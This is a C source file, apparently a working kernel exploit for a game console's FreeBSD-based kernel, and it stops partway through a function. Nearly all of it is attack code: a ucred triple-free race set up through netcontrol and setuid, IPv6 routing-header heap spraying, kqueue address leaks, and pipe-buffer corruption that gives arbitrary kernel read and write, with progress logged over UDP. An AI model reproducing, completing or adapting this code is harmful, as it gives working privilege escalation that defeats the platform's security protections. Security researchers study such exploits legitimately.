Files
2026-05-26 16:31:04 +09:00

1551 lines
52 KiB
C

// Credits : TheFloW, egycnq, Gezine
#include "types.h"
#define LIBKERNEL_HANDLE 0x2001
#define LIBC_HANDLE 0x2
#define GADGET_OFFSET 0x31aa9
#define AF_UNIX 1
#define AF_INET 2
#define AF_INET6 28
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define IPPROTO_IPV6 41
#define SO_SNDBUF 0x1001
#define SO_SNDLOWAT 0x1003
#define SOL_SOCKET 0xffff
#define IPV6_RTHDR 51
#define IPV6_RTHDR_TYPE_0 0
#define RTP_PRIO_REALTIME 2
#define RTP_SET 1
#define UIO_READ 0
#define UIO_WRITE 1
#define UIO_SYSSPACE 1
#define CPU_LEVEL_WHICH 3
#define CPU_WHICH_TID 1
#define IOV_SIZE 0x10
#define CPU_SET_SIZE 0x10
#define PIPEBUF_SIZE 0x18
#define MSG_HDR_SIZE 0x30
#define UCRED_SIZE 0x168
#define RTHDR_TAG 0x13370000
#define PAGE_SIZE 0x4000
#define UIO_IOV_NUM 0x14
#define MSG_IOV_NUM 0x17
#define IPV6_SOCK_NUM 80
#define IOV_THREAD_NUM 4
#define UIO_THREAD_NUM 4
#define COMMAND_UIO_READ 0
#define COMMAND_UIO_WRITE 1
#define MAIN_CORE 5
#define ERR_TRIPLE_FREE 2
#define ERR_LEAK_KQUEUE 3
#define KERNEL_PID 0
#define SYSCORE_AUTHID 0x4800000000000007ULL
#define FIOSETOWN 0x8004667CULL
#define F_SETFL 4
#define O_NONBLOCK 4
#define PROT_RWX 7
#define MAP_SHARED 1
#define O_RDONLY 0
#define SEEK_SET 0
#define SEEK_END 2
#define NET_CONTROL_NETEVENT_SET_QUEUE 0x20000003
#define NET_CONTROL_NETEVENT_CLEAR_QUEUE 0x20000007
#define FILEDESCENT_SIZE 0x30
#define KQ_FDP_OFFSET 0xA8
#define PIPE_SIGIO_OFFSET 0xD8
#define IN6P_OUTPUTOPTS_OFFSET 0x120
#define IP6PO_RHI_RTHDR_OFFSET 0x70
#define ROOTVNODE_OFFSET 0x8
#define FDT_OFILES_OFFSET 0x8
#define P_PID_OFFSET 0xBC
#define PUT8(b,o,v) (((u8*)(b))[(o)]=(u8)(v))
#define PUT16(b,o,v) (*(u16*)((u8*)(b)+(o))=(u16)(v))
#define PUT32(b,o,v) (*(u32*)((u8*)(b)+(o))=(u32)(v))
#define PUT64(b,o,v) (*(u64*)((u8*)(b)+(o))=(u64)(v))
#define GET8(b,o) (((u8*)(b))[(o)])
#define GET32(b,o) (*(u32*)((u8*)(b)+(o)))
#define GET64(b,o) (*(u64*)((u8*)(b)+(o)))
typedef s32 (*dlsym_t) (s32 handle, const char *sym, void **out);
typedef s32 (*socket_t) (s32 domain, s32 type, s32 proto);
typedef s32 (*socketpair_t) (s32 domain, s32 type, s32 proto, s32 *sv);
typedef s32 (*dup_t) (s32 fd);
typedef s32 (*close_t) (s32 fd);
typedef s32 (*setuid_t) (u32 uid);
typedef s32 (*getpid_t) (void);
typedef s32 (*kqueue_t) (void);
typedef s32 (*setsockopt_t) (s32 fd, s32 lvl, s32 opt, const void *val, u32 len);
typedef s32 (*getsockopt_t) (s32 fd, s32 lvl, s32 opt, void *val, u32 *len);
typedef s32 (*recvmsg_t) (s32 s, void *msg, s32 flags);
typedef s64 (*read_t) (s32 fd, void *buf, u64 n);
typedef s64 (*readv_t) (s32 fd, void *iov, s32 iovcnt);
typedef s64 (*write_t) (s32 fd, const void *buf, u64 n);
typedef s64 (*writev_t) (s32 fd, const void *iov, s32 iovcnt);
typedef s32 (*ioctl_t) (s32 fd, u64 req, u64 arg);
typedef s32 (*pipe_t) (s32 *fds);
typedef s32 (*fcntl_t) (s32 fd, s32 cmd, s64 arg);
typedef s32 (*sched_yield_t) (void);
typedef s32 (*cpuset_setaffinity_t)(s32 lvl, s32 which, s64 id, u64 setsz, void *mask);
typedef s32 (*rtprio_thread_t) (s32 fn, s32 lwpid, u64 rtp);
typedef s32 (*netcontrol_t) (s32 ifidx, s32 cmd, void *buf, s32 sz);
typedef s64 (*sendto_t) (s32 fd, const void *buf, u64 len, s32 flags,
const void *to, u32 tolen);
typedef s32 (*pthread_create_t) (u64 *thr, void *attr, void *(*fn)(void*), void *arg);
typedef s32 (*pthread_join_t) (u64 thr, void **ret);
typedef s32 (*pthread_mutex_init_t) (u64 *mtx, const void *attr);
typedef s32 (*pthread_mutex_lock_t) (u64 *mtx);
typedef s32 (*pthread_mutex_unlock_t) (u64 *mtx);
typedef s32 (*pthread_cond_init_t) (u64 *cond, const void *attr);
typedef s32 (*pthread_cond_wait_t) (u64 *cond, u64 *mtx);
typedef s32 (*pthread_cond_broadcast_t)(u64 *cond);
typedef void *(*calloc_t) (u64 nmemb, u64 size);
typedef void (*free_t) (void *ptr);
typedef s32 (*sceKernelJitCreateSharedMemory_t)(u32 flags, u64 size, u32 prot, s32 *fd_out);
typedef void *(*mmap_t) (void *addr, u64 len, s32 prot, s32 flags, s32 fd, u64 off);
typedef s32 (*open_t) (const char *path, s32 flags);
typedef s64 (*lseek_t) (s32 fd, s64 offset, s32 whence);
typedef struct {
s32 total;
s32 started;
s32 finished;
s32 command;
u64 mutex;
u64 cond;
void *gadget;
pthread_mutex_lock_t fn_lock;
pthread_mutex_unlock_t fn_unlock;
pthread_cond_wait_t fn_wait;
pthread_cond_broadcast_t fn_broadcast;
} worker_state_t;
typedef struct {
void *gadget;
socket_t fn_socket;
socketpair_t fn_socketpair;
dup_t fn_dup;
close_t fn_close;
setuid_t fn_setuid;
getpid_t fn_getpid;
kqueue_t fn_kqueue;
setsockopt_t fn_setsockopt;
getsockopt_t fn_getsockopt;
recvmsg_t fn_recvmsg;
read_t fn_read;
readv_t fn_readv;
write_t fn_write;
writev_t fn_writev;
ioctl_t fn_ioctl;
pipe_t fn_pipe;
fcntl_t fn_fcntl;
sched_yield_t fn_sched_yield;
cpuset_setaffinity_t fn_cpuset_setaffinity;
rtprio_thread_t fn_rtprio_thread;
netcontrol_t fn_netcontrol;
sendto_t fn_sendto;
pthread_create_t fn_pthread_create;
pthread_join_t fn_pthread_join;
pthread_mutex_init_t fn_mutex_init;
pthread_mutex_lock_t fn_mutex_lock;
pthread_mutex_unlock_t fn_mutex_unlock;
pthread_cond_init_t fn_cond_init;
pthread_cond_wait_t fn_cond_wait;
pthread_cond_broadcast_t fn_cond_broadcast;
calloc_t fn_calloc;
free_t fn_free;
sceKernelJitCreateSharedMemory_t fn_jit_create;
mmap_t fn_mmap;
open_t fn_open;
lseek_t fn_lseek;
s32 log_sock;
u8 log_addr[16];
s32 ipv6_socks[IPV6_SOCK_NUM];
s32 uio_ss[2];
s32 iov_ss[2];
s32 master_pipe[2];
s32 victim_pipe[2];
u64 iov_threads[IOV_THREAD_NUM];
u64 uio_threads[UIO_THREAD_NUM];
worker_state_t iov_state;
worker_state_t uio_state;
u8 *spray_rthdr;
u8 *leak_rthdr;
u8 *msg_hdr;
u8 *msg_iov;
u8 *uio_iov_read;
u8 *uio_iov_write;
u8 *dummy_buf;
u8 *tmp;
s32 spray_rthdr_len;
u32 leak_rthdr_len;
u64 kl_lock;
u64 kq_fdp;
u64 curproc;
u64 allproc;
u64 fdt_ofiles;
s32 twins[2];
s32 triplets[3];
s32 uaf_sock;
} exploit_ctx_t;
typedef struct {
exploit_ctx_t *ctx;
worker_state_t *state;
} thread_arg_t;
__attribute__((naked))
static u64 eboot_wrap(void *gadget, void *fn,
u64 a1, u64 a2, u64 a3,
u64 a4, u64 a5, u64 a6)
{
__asm__ (
"push rbx\n\t"
"push r12\n\t"
"mov rbx, rsi\n\t"
"mov r12, rdi\n\t"
"mov rdi, rdx\n\t"
"mov rsi, rcx\n\t"
"mov rdx, r8\n\t"
"mov rcx, r9\n\t"
"mov r8, [rsp + 24]\n\t"
"mov r9, [rsp + 32]\n\t"
"xor eax, eax\n\t"
"call r12\n\t"
"pop r12\n\t"
"pop rbx\n\t"
"ret"
);
}
#define CALL(ctx, fn, a1, a2, a3, a4, a5, a6) \
eboot_wrap((ctx)->gadget, (void*)(ctx)->fn, \
(u64)(a1),(u64)(a2),(u64)(a3),(u64)(a4),(u64)(a5),(u64)(a6))
static void resolve(void *gadget, dlsym_t dlsym, s32 handle,
const char *name, void **out)
{
eboot_wrap(gadget, (void*)dlsym,
(u64)handle, (u64)name, (u64)out, 0, 0, 0);
}
static u64 str_len(const char *s) { u64 n=0; while(s[n]) n++; return n; }
static u32 parse_ipv4(const char *s)
{
u32 result = 0;
u32 octet = 0;
s32 shift = 0;
for (int i = 0; ; i++) {
char c = s[i];
if (c >= '0' && c <= '9') {
octet = octet * 10 + (u32)(c - '0');
} else if (c == '.' || c == '\0') {
result |= (octet & 0xFF) << shift;
shift += 8;
octet = 0;
if (c == '\0') break;
}
}
return result;
}
static void log_send(exploit_ctx_t *ctx, const char *msg)
{
if (ctx->log_sock <= 0 || !ctx->fn_sendto) return;
eboot_wrap(ctx->gadget, (void*)ctx->fn_sendto,
(u64)ctx->log_sock, (u64)msg, str_len(msg), 0,
(u64)ctx->log_addr, 16);
}
#define LOG(ctx, msg) log_send((ctx), (msg))
static void log_hex32(exploit_ctx_t *ctx, const char *msg, u32 v)
{
const char *h = "0123456789abcdef";
char buf[64];
u64 i = 0, ml = str_len(msg);
while (i < ml && i < 48) { buf[i] = msg[i]; i++; }
buf[i++]='0'; buf[i++]='x';
for (int s=28; s>=0; s-=4) buf[i++]=h[(v>>s)&0xF];
buf[i++]='\n'; buf[i]='\0';
log_send(ctx, buf);
}
static void log_hex64(exploit_ctx_t *ctx, const char *msg, u64 v)
{
const char *h = "0123456789abcdef";
char buf[80];
u64 i = 0, ml = str_len(msg);
while (i < ml && i < 48) { buf[i] = msg[i]; i++; }
buf[i++]='0'; buf[i++]='x';
for (int s=60; s>=0; s-=4) buf[i++]=h[(v>>s)&0xF];
buf[i++]='\n'; buf[i]='\0';
log_send(ctx, buf);
}
#define WS_LOCK(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_lock, (u64)&(ws)->mutex,0,0,0,0,0)
#define WS_UNLOCK(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_unlock, (u64)&(ws)->mutex,0,0,0,0,0)
#define WS_WAIT(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_wait, (u64)&(ws)->cond,(u64)&(ws)->mutex,0,0,0,0)
#define WS_BROADCAST(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_broadcast,(u64)&(ws)->cond,0,0,0,0,0)
static void worker_init(worker_state_t *ws, s32 total, exploit_ctx_t *ctx)
{
ws->total = total;
ws->started = 0;
ws->finished = 0;
ws->command = -1;
ws->gadget = ctx->gadget;
ws->fn_lock = ctx->fn_mutex_lock;
ws->fn_unlock = ctx->fn_mutex_unlock;
ws->fn_wait = ctx->fn_cond_wait;
ws->fn_broadcast = ctx->fn_cond_broadcast;
eboot_wrap(ctx->gadget, (void*)ctx->fn_mutex_init,
(u64)&ws->mutex, 0, 0, 0, 0, 0);
eboot_wrap(ctx->gadget, (void*)ctx->fn_cond_init,
(u64)&ws->cond, 0, 0, 0, 0, 0);
}
static void worker_signal_work(worker_state_t *ws, s32 cmd)
{
WS_LOCK(ws);
ws->started = 0;
ws->finished = 0;
ws->command = cmd;
WS_BROADCAST(ws);
while (ws->started < ws->total)
WS_WAIT(ws);
WS_UNLOCK(ws);
}
static s32 worker_wait_for_work(worker_state_t *ws)
{
WS_LOCK(ws);
while (ws->command == -1 || ws->finished != 0)
WS_WAIT(ws);
ws->started++;
if (ws->started == ws->total)
WS_BROADCAST(ws);
s32 cmd = ws->command;
WS_UNLOCK(ws);
return cmd;
}
static void worker_signal_finished(worker_state_t *ws)
{
WS_LOCK(ws);
ws->finished++;
if (ws->finished == ws->total)
WS_BROADCAST(ws);
WS_UNLOCK(ws);
}
static void worker_wait_for_finished(worker_state_t *ws)
{
WS_LOCK(ws);
while (ws->finished < ws->total)
WS_WAIT(ws);
ws->command = -1;
WS_UNLOCK(ws);
}
static void cpu_set_affinity(exploit_ctx_t *ctx, s32 core)
{
u8 mask[CPU_SET_SIZE];
for (int i = 0; i < CPU_SET_SIZE; i++) mask[i] = 0;
*(u16*)mask = (u16)(1 << core);
CALL(ctx, fn_cpuset_setaffinity,
CPU_LEVEL_WHICH, CPU_WHICH_TID,
(s64)-1, (u64)CPU_SET_SIZE, (u64)mask, 0);
}
static void rtprio_thread(exploit_ctx_t *ctx, s32 value)
{
u8 rtp[4];
PUT16(rtp, 0x00, RTP_PRIO_REALTIME);
PUT16(rtp, 0x02, value);
CALL(ctx, fn_rtprio_thread, RTP_SET, 0, (u64)rtp, 0, 0, 0);
}
static s32 build_rthdr(u8 *buf, s32 size)
{
s32 len = ((size >> 3) - 1) & ~1;
PUT8(buf, 0x00, 0);
PUT8(buf, 0x01, len);
PUT8(buf, 0x02, IPV6_RTHDR_TYPE_0);
PUT8(buf, 0x03, len >> 1);
return (len + 1) << 3;
}
static s32 get_rthdr(exploit_ctx_t *ctx, s32 s, u8 *buf, u32 *len)
{
return (s32)CALL(ctx, fn_getsockopt, s, IPPROTO_IPV6, IPV6_RTHDR,
(u64)buf, (u64)len, 0);
}
static s32 set_rthdr(exploit_ctx_t *ctx, s32 s, u8 *buf, s32 len)
{
return (s32)CALL(ctx, fn_setsockopt, s, IPPROTO_IPV6, IPV6_RTHDR,
(u64)buf, (u32)len, 0);
}
static s32 free_rthdr(exploit_ctx_t *ctx, s32 s)
{
return (s32)CALL(ctx, fn_setsockopt, s, IPPROTO_IPV6, IPV6_RTHDR, 0, 0, 0);
}
static void corrupt_pipebuf(exploit_ctx_t *ctx,
s32 cnt, s32 in, s32 out, s32 size, u64 buffer)
{
u8 pb[PIPEBUF_SIZE];
PUT32(pb, 0x00, cnt);
PUT32(pb, 0x04, in);
PUT32(pb, 0x08, out);
PUT32(pb, 0x0C, size);
PUT64(pb, 0x10, buffer);
CALL(ctx, fn_write, ctx->master_pipe[1], (u64)pb, PIPEBUF_SIZE, 0, 0, 0);
CALL(ctx, fn_read, ctx->master_pipe[0], (u64)pb, PIPEBUF_SIZE, 0, 0, 0);
}
static void kread(exploit_ctx_t *ctx, u64 src, void *dest, u64 n)
{
corrupt_pipebuf(ctx, (s32)n, 0, 0, PAGE_SIZE, src);
CALL(ctx, fn_read, ctx->victim_pipe[0], (u64)dest, n, 0, 0, 0);
}
static void kwrite(exploit_ctx_t *ctx, u64 dest, const void *src, u64 n)
{
corrupt_pipebuf(ctx, 0, 0, 0, PAGE_SIZE, dest);
CALL(ctx, fn_write, ctx->victim_pipe[1], (u64)src, n, 0, 0, 0);
}
static u64 kread64(exploit_ctx_t *ctx, u64 addr)
{
u64 v = 0; kread(ctx, addr, &v, 8); return v;
}
static u32 kread32(exploit_ctx_t *ctx, u64 addr)
{
u32 v = 0; kread(ctx, addr, &v, 4); return v;
}
static u16 kread16(exploit_ctx_t *ctx, u64 addr)
{
u16 v = 0; kread(ctx, addr, &v, 2); return v;
}
static u8 kread8(exploit_ctx_t *ctx, u64 addr)
{
u8 v = 0; kread(ctx, addr, &v, 1); return v;
}
static void kwrite64(exploit_ctx_t *ctx, u64 addr, u64 val)
{
kwrite(ctx, addr, &val, 8);
}
static void kwrite32(exploit_ctx_t *ctx, u64 addr, u32 val)
{
kwrite(ctx, addr, &val, 4);
}
static void kwrite16(exploit_ctx_t *ctx, u64 addr, u16 val)
{
kwrite(ctx, addr, &val, 2);
}
static void kwrite8(exploit_ctx_t *ctx, u64 addr, u8 val)
{
kwrite(ctx, addr, &val, 1);
}
static u64 fget(exploit_ctx_t *ctx, s32 fd)
{
return kread64(ctx, ctx->fdt_ofiles + (u64)fd * FILEDESCENT_SIZE);
}
static void fhold(exploit_ctx_t *ctx, u64 fp)
{
kwrite32(ctx, fp + 0x28, kread32(ctx, fp + 0x28) + 1);
}
static void *iov_thread_fn(void *arg)
{
thread_arg_t *ta = (thread_arg_t *)arg;
exploit_ctx_t *ctx = ta->ctx;
worker_state_t *ws = ta->state;
cpu_set_affinity(ctx, MAIN_CORE);
rtprio_thread(ctx, 256);
while (1) {
worker_wait_for_work(ws);
CALL(ctx, fn_recvmsg, ctx->iov_ss[0], (u64)ctx->msg_hdr, 0, 0, 0, 0);
worker_signal_finished(ws);
}
return 0;
}
static void *uio_thread_fn(void *arg)
{
thread_arg_t *ta = (thread_arg_t *)arg;
exploit_ctx_t *ctx = ta->ctx;
worker_state_t *ws = ta->state;
cpu_set_affinity(ctx, MAIN_CORE);
rtprio_thread(ctx, 256);
while (1) {
s32 cmd = worker_wait_for_work(ws);
if (cmd == COMMAND_UIO_READ)
CALL(ctx, fn_writev, ctx->uio_ss[1], (u64)ctx->uio_iov_read,
UIO_IOV_NUM, 0, 0, 0);
else
CALL(ctx, fn_readv, ctx->uio_ss[0], (u64)ctx->uio_iov_write,
UIO_IOV_NUM, 0, 0, 0);
worker_signal_finished(ws);
}
return 0;
}
static s32 find_twins(exploit_ctx_t *ctx)
{
for (int attempts = 0; attempts < 5000; attempts++) {
for (int i = 0; i < IPV6_SOCK_NUM; i++) {
PUT32(ctx->spray_rthdr, 0x04, RTHDR_TAG | i);
s32 sr = set_rthdr(ctx, ctx->ipv6_socks[i],
ctx->spray_rthdr, ctx->spray_rthdr_len);
if (i == 0 && attempts == 0)
log_hex32(ctx, "find_twins: set_rthdr[0] ret=", (u32)sr);
}
for (int i = 0; i < IPV6_SOCK_NUM; i++) {
ctx->leak_rthdr_len = 8;
s32 gr = get_rthdr(ctx, ctx->ipv6_socks[i],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (i == 0 && attempts == 0) {
log_hex32(ctx, "find_twins: get_rthdr[0] ret=", (u32)gr);
log_hex32(ctx, "find_twins: leak_rthdr_len=", ctx->leak_rthdr_len);
}
u32 val = GET32(ctx->leak_rthdr, 0x04);
s32 j = (s32)(val & 0xFFFF);
if (i == 0 && attempts % 1000 == 0)
log_hex32(ctx, "find_twins: sock[0] val=", val);
if ((val & 0xFFFF0000) == (u32)RTHDR_TAG && i != j) {
log_hex32(ctx, "find_twins: found attempt=", (u32)attempts);
log_hex32(ctx, "find_twins: twins[0] idx=", (u32)i);
log_hex32(ctx, "find_twins: twins[0] fd=", (u32)ctx->ipv6_socks[i]);
log_hex32(ctx, "find_twins: twins[1] idx=", (u32)j);
log_hex32(ctx, "find_twins: twins[1] fd=", (u32)ctx->ipv6_socks[j]);
ctx->twins[0] = i;
ctx->twins[1] = j;
return 1;
}
}
}
LOG(ctx, "find_twins: failed after 5000 attempts\n");
return 0;
}
static s32 find_triplet(exploit_ctx_t *ctx, s32 master, s32 other)
{
for (int attempts = 0; attempts < 5000; attempts++) {
for (int i = 0; i < IPV6_SOCK_NUM; i++) {
if (i == master || i == other) continue;
PUT32(ctx->spray_rthdr, 0x04, RTHDR_TAG | i);
set_rthdr(ctx, ctx->ipv6_socks[i],
ctx->spray_rthdr, ctx->spray_rthdr_len);
}
ctx->leak_rthdr_len = 8;
get_rthdr(ctx, ctx->ipv6_socks[master],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
u32 val = GET32(ctx->leak_rthdr, 0x04);
s32 j = (s32)(val & 0xFFFF);
if ((val & 0xFFFF0000) == (u32)RTHDR_TAG && j != master && j != other) {
return j;
}
}
return -1;
}
static s32 trigger_ucred_triple_free(exploit_ctx_t *ctx)
{
LOG(ctx, "tctf: enter\n");
ctx->spray_rthdr_len = build_rthdr(ctx->spray_rthdr, UCRED_SIZE);
PUT64(ctx->msg_hdr, 0x10, (u64)ctx->msg_iov);
PUT64(ctx->msg_hdr, 0x18, MSG_IOV_NUM);
PUT64(ctx->uio_iov_read, 0x00, (u64)ctx->dummy_buf);
PUT64(ctx->uio_iov_write, 0x00, (u64)ctx->dummy_buf);
CALL(ctx, fn_socketpair, AF_UNIX, SOCK_STREAM, 0, (u64)ctx->uio_ss, 0, 0);
CALL(ctx, fn_socketpair, AF_UNIX, SOCK_STREAM, 0, (u64)ctx->iov_ss, 0, 0);
thread_arg_t *iov_args = (thread_arg_t*)
CALL(ctx, fn_calloc, IOV_THREAD_NUM, sizeof(thread_arg_t), 0, 0, 0, 0);
thread_arg_t *uio_args = (thread_arg_t*)
CALL(ctx, fn_calloc, UIO_THREAD_NUM, sizeof(thread_arg_t), 0, 0, 0, 0);
worker_init(&ctx->iov_state, IOV_THREAD_NUM, ctx);
worker_init(&ctx->uio_state, UIO_THREAD_NUM, ctx);
for (int i = 0; i < IOV_THREAD_NUM; i++) {
iov_args[i].ctx = ctx;
iov_args[i].state = &ctx->iov_state;
eboot_wrap(ctx->gadget, (void*)ctx->fn_pthread_create,
(u64)&ctx->iov_threads[i], 0,
(u64)iov_thread_fn, (u64)&iov_args[i], 0, 0);
}
for (int i = 0; i < UIO_THREAD_NUM; i++) {
uio_args[i].ctx = ctx;
uio_args[i].state = &ctx->uio_state;
eboot_wrap(ctx->gadget, (void*)ctx->fn_pthread_create,
(u64)&ctx->uio_threads[i], 0,
(u64)uio_thread_fn, (u64)&uio_args[i], 0, 0);
}
log_hex32(ctx, "tctf: ipv6_socks[0]=", (u32)ctx->ipv6_socks[0]);
for (int i = 0; i < IPV6_SOCK_NUM; i++)
free_rthdr(ctx, ctx->ipv6_socks[i]);
PUT64(ctx->msg_iov, 0x00, 1);
PUT64(ctx->msg_iov, 0x08, 1);
u8 set_buf[8] = {0};
u8 clear_buf[8] = {0};
s32 dummy_sock = (s32)CALL(ctx, fn_socket,
AF_UNIX, SOCK_STREAM, 0, 0, 0, 0);
PUT32(set_buf, 0, dummy_sock);
s32 slot = 0;
if ((s32)CALL(ctx, fn_netcontrol,
-1, NET_CONTROL_NETEVENT_SET_QUEUE,
(u64)set_buf, 8, 0, 0) != 0) {
LOG(ctx, "netcontrol: falling back to slot 1\n");
if ((s32)CALL(ctx, fn_netcontrol,
1, NET_CONTROL_NETEVENT_SET_QUEUE,
(u64)set_buf, 8, 0, 0) != 0) {
LOG(ctx, "netcontrol: all slots occupied\n");
return 0;
}
slot = 1;
}
log_hex32(ctx, "tctf: netcontrol SET_QUEUE slot=", (u32)slot);
CALL(ctx, fn_close, dummy_sock, 0, 0, 0, 0, 0);
CALL(ctx, fn_setuid, 1, 0, 0, 0, 0, 0);
ctx->uaf_sock = (s32)CALL(ctx, fn_socket,
AF_UNIX, SOCK_STREAM, 0, 0, 0, 0);
CALL(ctx, fn_setuid, 1, 0, 0, 0, 0, 0);
PUT32(clear_buf, 0, ctx->uaf_sock);
CALL(ctx, fn_netcontrol, slot, NET_CONTROL_NETEVENT_CLEAR_QUEUE,
(u64)clear_buf, 8, 0, 0);
LOG(ctx, "tctf: netcontrol CLEAR_QUEUE done\n");
for (int i = 0; i < 32; i++) {
worker_signal_work(&ctx->iov_state, 0);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
}
LOG(ctx, "tctf: iov refcnt reclaim done\n");
s32 dup_fd = (s32)CALL(ctx, fn_dup, ctx->uaf_sock, 0, 0, 0, 0, 0);
log_hex32(ctx, "tctf: double-free dup_fd=", (u32)dup_fd);
CALL(ctx, fn_close, dup_fd, 0, 0, 0, 0, 0);
LOG(ctx, "tctf: double-free done\n");
LOG(ctx, "tctf: starting find_twins\n");
if (!find_twins(ctx)) {
LOG(ctx, "twins not found\n");
return 0;
}
free_rthdr(ctx, ctx->ipv6_socks[ctx->twins[1]]);
while (1) {
worker_signal_work(&ctx->iov_state, 0);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
ctx->leak_rthdr_len = UCRED_SIZE;
get_rthdr(ctx, ctx->ipv6_socks[ctx->twins[0]],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (GET32(ctx->leak_rthdr, 0x00) == 1) break;
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
}
ctx->triplets[0] = ctx->twins[0];
dup_fd = (s32)CALL(ctx, fn_dup, ctx->uaf_sock, 0, 0, 0, 0, 0);
CALL(ctx, fn_close, dup_fd, 0, 0, 0, 0, 0);
s32 ret = find_triplet(ctx, ctx->triplets[0], -1);
if (ret < 0) { LOG(ctx, "triplets not found\n"); return 0; }
ctx->triplets[1] = ret;
CALL(ctx, fn_write, ctx->iov_ss[1], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
ret = find_triplet(ctx, ctx->triplets[0], ctx->triplets[1]);
if (ret < 0) { LOG(ctx, "triplets not found\n"); return 0; }
ctx->triplets[2] = ret;
worker_wait_for_finished(&ctx->iov_state);
CALL(ctx, fn_read, ctx->iov_ss[0], (u64)ctx->tmp, IOV_THREAD_NUM, 0, 0, 0);
LOG(ctx, "triplets found\n");
log_hex32(ctx, "triplets[0] fd=", (u32)ctx->ipv6_socks[ctx->triplets[0]]);
log_hex32(ctx, "triplets[1] fd=", (u32)ctx->ipv6_socks[ctx->triplets[1]]);
log_hex32(ctx, "triplets[2] fd=", (u32)ctx->ipv6_socks[ctx->triplets[2]]);
return 1;
}
static s32 leak_kqueue(exploit_ctx_t *ctx)
{
LOG(ctx, "leakKqueue: enter\n");
log_hex32(ctx, "leakKqueue: free triplets[1] fd=",
(u32)ctx->ipv6_socks[ctx->triplets[1]]);
free_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[1]]);
LOG(ctx, "leakKqueue: free_rthdr done\n");
s32 kq = -1;
for (int attempts = 0; attempts < 10000; attempts++) {
kq = (s32)CALL(ctx, fn_kqueue, 0, 0, 0, 0, 0, 0);
ctx->leak_rthdr_len = 0x100;
get_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[0]],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (attempts == 0) {
log_hex32(ctx, "leakKqueue: kq fd=", (u32)kq);
log_hex64(ctx, "leakKqueue: rthdr[0x08]=",
GET64(ctx->leak_rthdr, 0x08));
log_hex64(ctx, "leakKqueue: rthdr[KQ_FDP]=",
GET64(ctx->leak_rthdr, KQ_FDP_OFFSET));
}
if (GET64(ctx->leak_rthdr, 0x08) == 0x1430000 &&
GET64(ctx->leak_rthdr, KQ_FDP_OFFSET) != 0)
break;
CALL(ctx, fn_close, kq, 0, 0, 0, 0, 0);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
kq = -1;
}
ctx->kl_lock = GET64(ctx->leak_rthdr, 0x60);
ctx->kq_fdp = GET64(ctx->leak_rthdr, KQ_FDP_OFFSET);
log_hex64(ctx, "leakKqueue: kq_fdp=", ctx->kq_fdp);
if (ctx->kq_fdp == 0) {
LOG(ctx, "leakKqueue: kq_fdp is zero\n");
return 0;
}
CALL(ctx, fn_close, kq, 0, 0, 0, 0, 0);
s32 ret = find_triplet(ctx, ctx->triplets[0], ctx->triplets[2]);
if (ret < 0) { LOG(ctx, "leakKqueue: triplet not found\n"); return 0; }
ctx->triplets[1] = ret;
log_hex32(ctx, "leakKqueue: new triplets[1] fd=",
(u32)ctx->ipv6_socks[ctx->triplets[1]]);
return 1;
}
static void build_uio(u8 *uio, u64 uio_iov, u64 uio_td,
s32 is_read, u64 addr, u64 size)
{
PUT64(uio, 0x00, uio_iov);
PUT64(uio, 0x08, UIO_IOV_NUM);
PUT64(uio, 0x10, (u64)-1LL);
PUT64(uio, 0x18, size);
PUT32(uio, 0x20, UIO_SYSSPACE);
PUT32(uio, 0x24, is_read ? UIO_WRITE : UIO_READ);
PUT64(uio, 0x28, uio_td);
PUT64(uio, 0x30, addr);
PUT64(uio, 0x38, size);
}
static u8 *kread_slow(exploit_ctx_t *ctx, u64 addr, s32 size)
{
u8 **leak_bufs = (u8**)CALL(ctx, fn_calloc,
UIO_THREAD_NUM, sizeof(u8*), 0, 0, 0, 0);
for (int i = 0; i < UIO_THREAD_NUM; i++)
leak_bufs[i] = (u8*)CALL(ctx, fn_calloc, 1, (u64)size, 0, 0, 0, 0);
u32 buf_sz = (u32)size * UIO_THREAD_NUM;
CALL(ctx, fn_setsockopt, ctx->uio_ss[1], SOL_SOCKET, SO_SNDBUF,
(u64)&buf_sz, 4, 0);
for (int i = 0; i < size; i++) ctx->tmp[i] = 0x41;
CALL(ctx, fn_write, ctx->uio_ss[1], (u64)ctx->tmp, (u64)size, 0, 0, 0);
PUT64(ctx->uio_iov_read, 0x08, (u64)size);
free_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[1]]);
while (1) {
worker_signal_work(&ctx->uio_state, COMMAND_UIO_READ);
CALL(ctx, fn_sched_yield, 0, 0, 0, 0, 0, 0);
ctx->leak_rthdr_len = 0x10;
get_rthdr(ctx, ctx->ipv6_socks[ctx->triplets[0]],
ctx->leak_rthdr, &ctx->leak_rthdr_len);
if (GET32(ctx->leak_rthdr, 0x08) == UIO_IOV_NUM) break;
CALL(ctx, fn_read, ctx->uio_ss[0], (u64)ctx->tmp, (u64)size, 0, 0, 0);
for (int i = 0; i < UIO_THREAD_NUM; i++)
CALL(ctx, fn_read, ctx->uio_ss[0],
(u64)leak_bufs[i], (u64)size, 0, 0, 0);
worker_wait_for_finished(&ctx->uio_state);
CALL(ctx, fn_write, ctx->uio_ss[1], (u64)ctx->tmp, (u64)size, 0, 0, 0);
}
u64 uio_iov_ptr = GET64(ctx->leak_rthdr, 0x00);
